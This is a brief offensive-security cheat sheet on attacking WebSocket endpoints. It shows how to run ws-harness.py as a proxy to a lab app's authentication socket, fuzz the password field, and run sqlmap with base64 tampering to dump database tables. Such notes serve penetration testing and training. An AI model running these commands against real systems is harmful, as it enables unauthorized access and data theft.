# Web Sockets Attacks
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
Tools:
- [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
## Summary
* [Using ws-harness.py](#using-ws-harness-py)
## Using ws-harness.py
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```
The content of the message should contains the **[FUZZ]** keyword.
```json
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
```
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
```python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```
